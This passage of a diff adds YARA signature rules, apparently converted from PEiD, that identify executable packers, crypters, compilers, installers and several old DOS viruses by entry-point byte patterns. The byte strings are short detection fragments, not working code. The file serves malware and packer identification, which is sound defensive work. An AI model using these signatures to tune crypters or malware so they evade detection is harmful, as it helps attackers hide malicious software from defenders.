+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_KBDflags1024_
+{
+	meta:
+		description = "Vx: KBDflags.1024"
+	strings:
+		$0 = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_V100__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.00 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Slowload_
+{
+	meta:
+		description = "Vx: Slowload"
+	strings:
+		$0 = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_022__023_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.22 - 0.23 beta -> Dwing"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$1 = {AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$2 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Vx_Eddiebased1745_
+{
+	meta:
+		description = "Vx: Eddie.based.1745"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_13_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (13)"
+	strings:
+		$0 = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICCC_40_
+{
+	meta:
+		description = "PowerBASIC/CC 4.0"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Unknown_DLL___Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack_Unknown (DLL ???) -> Sign by hot_UNP"
+	strings:
+		$0 = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _ZipWorxSecureEXE_25__ZipWORX_Technologies_LLC_h_
+{
+	meta:
+		description = "ZipWorxSecureEXE 2.5 -> ZipWORX Technologies LLC (h)"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+	condition:
+		$0
+}
+rule _ENIGMA_Protector_V11V12__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-V1.2 -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_153_Stub_engine_171__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF"
+	strings:
+		$0 = {86 D6 90 86 F2 B9 93 60 08 FE 90 86 D6 90 86 F2 B9 9D 13 45 01 86 D6 90 86 F2 81 C2 93 60 08 FE 33 C9 B9 30 74 4D FF 86 D6 90 86 F2 33 C9 C7 05 B4 17 40 00 00 00 00 00 90 68 00 01 00 00 68 D1 17 40 00 6A 00 E8 CE 02 00 00 90 33 C9 86 D6 90 86 F2 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 D1 17 40 00 E8 9E 02 00 00 A3 CD 17 40 00 86 D6}
+		$1 = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PESHiELD_v0251_
+{
+	meta:
+		description = "PESHiELD v0.251"
+	strings:
+		$0 = {5D 83 ED 06 EB 02 EA 04 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_aPlib_043__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 (aPlib 0.43) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_11010291_
+{
+	meta:
+		description = "Wise Installer Stub 1.10.1029.1"
+	strings:
+		$0 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+	condition:
+		$0
+}
+rule _Turbo_Cpp_30_1990_
+{
+	meta:
+		description = "Turbo C++ 3.0 1990"
+	strings:
+		$0 = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v102b_v110a_v120_
+{
+	meta:
+		description = "DIET v1.02b, v1.10a, v1.20"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_31_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.1 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V36__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.6 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14 89 4D CC E9 97 04 00 00 C7 05 10 ?? ?? 00 01 00 00 00 ?? ?? 68 54 ?? ?? 00 68 18 ?? ?? 00 6A 00 FF 15 E4 ?? ?? 00 83 7D 0C 01 74 04 83 65 08 00 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 EC 68 04 01 00 00 FF 75 EC FF 75 08 FF 15 DC ?? ?? 00 8B 4D EC 8D 44 01 FF 89 45 AC 8B 45 AC 0F BE 00 83 F8 5C 74 09 8B 45 AC 48 89 45 AC EB EC 8B 45 AC 40 89 45 AC 8B 45 AC 2B 45 EC 89 45 B0 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 FC 8B 4D B0 8B 75 EC 8B 7D FC 8B C1 C1 E9 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_v102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v080_
+{
+	meta:
+		description = "tElock v0.80"
+	strings:
+		$0 = {60 E8 F9 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v03_Eng__cyberbob_
+{
+	meta:
+		description = "PESpin v0.3 (Eng) -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1304__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium 1.3.0.4 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+	condition:
+		$0
+}
+rule _WATCOM_CCpp_32_RunTime_System_1989_1994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1989, 1994"
+	strings:
+		$0 = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190a_
+{
+	meta:
+		description = "Armadillo v1.90a"
+	strings:
+		$0 = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PEX_099__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEX 0.99) -> emadicius"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83}
+	condition:
+		$0
+}
+rule _PKLITE_v200c_
+{
+	meta:
+		description = "PKLITE v2.00c"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _ICrypt_10__by_BuGGz_
+{
+	meta:
+		description = "ICrypt 1.0 - by BuGGz"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Special_EXE_Password_Protector_v10_
+{
+	meta:
+		description = "Special EXE Password Protector v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_20__Vaska_
+{
+	meta:
+		description = "RCryptor 2.0 -> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V2X__LiuXingPing_
+{
+	meta:
+		description = "NsPack V2.X -> LiuXingPing"
+	strings:
+		$0 = {6E 73 70 61 63 6B 24 40}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_ZCode_101_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ZCode 1.01]"
+	strings:
+		$0 = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_v01_by_SMoKE_
+{
+	meta:
+		description = "ARM Protector v0.1 by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+	condition:
+		$0
+}
+rule _yC_13_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yC 1.3 by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0
+}
+rule _PEtite_v21_
+{
+	meta:
+		description = "PEtite v2.1"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15_Private__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 (Private) -> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_500d_
+{
+	meta:
+		description = "PC-Guard 5.00d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0
+}
+rule _Thinstall_Embedded_V2609__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.609 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.32 Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+		$1 = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+	condition:
+		$0 or $1
+}
+rule _E_language_
+{
+	meta:
+		description = "E language"
+	strings:
+		$0 = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_v12_Byte_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard v1.2 Byte Patch"
+	strings:
+		$0 = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 1D 03 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 14 03 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 05 03 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 F6 02 00 00 6A 00 FF 75 08 E8 C8 02 00 00 A3 B4 33 40 00 C7 05 BC 33 40 00 2C 00 00 00 C7 05 C0 33 40 00 10 00 00 00 C7 05 C4 33 40 00 00 08 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 97 02 00 00 C7 05 C4 33 40 00 00 00 00 00 C7 05 E0 33 40 00 00 30 40 00 C7 05 E4 33 40 00 01 00 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 65 02 00 00 EB 5F EB 54}
+	condition:
+		$0
+}
+rule _Vx_Caz1204_
+{
+	meta:
+		description = "Vx: Caz.1204"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+	condition:
+		$0 at entrypoint
+}
+rule _STUD_RC4_10_Jamie_Edition_ScanTime_UnDetectable__by_MarjinZ_
+{
+	meta:
+		description = "STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ"
+	strings:
+		$0 = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4}
+		$1 = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UG2002_Cruncher_v03b3_
+{
+	meta:
+		description = "UG2002 Cruncher v0.3b3"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cppx_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2312__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.312 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX__wwwupxsourceforgenet_
+{
+	meta:
+		description = "UPX -> www.upx.sourceforge.net"
+	strings:
+		$0 = {60 BE ?? ?? ?? 00 8D BE ?? ?? ?? FF}
+	condition:
+		$0
+}
+rule _LamCrypt_10__LaZaRuS_
+{
+	meta:
+		description = "LamCrypt 1.0 -> LaZaRuS"
+	strings:
+		$0 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8}
+	condition:
+		$0
+}
+rule _SmartE__Microsoft_
+{
+	meta:
+		description = "SmartE -> Microsoft"
+	strings:
+		$0 = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v33_
+{
+	meta:
+		description = "Shrinker v3.3"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Encapsulated_Postscript_graphics_file_v30_EPSF30_
+{
+	meta:
+		description = "Encapsulated Postscript graphics file v3.0 EPSF-3.0"
+	strings:
+		$0 = {25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 2E 30}
+	condition:
+		$0
+}
+rule _Borland_Delphi_5__Portions_Copyright_c_198399_Borland_h_
+{
+	meta:
+		description = "Borland Delphi 5 -> Portions Copyright (c) 1983,99 Borland (h)"
+	strings:
+		$0 = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 39 20 42 6F 72 6C 61 6E 64 00}
+	condition:
+		$0
+}
+rule _Vx_Noon1163_
+{
+	meta:
+		description = "Vx: Noon.1163"
+	strings:
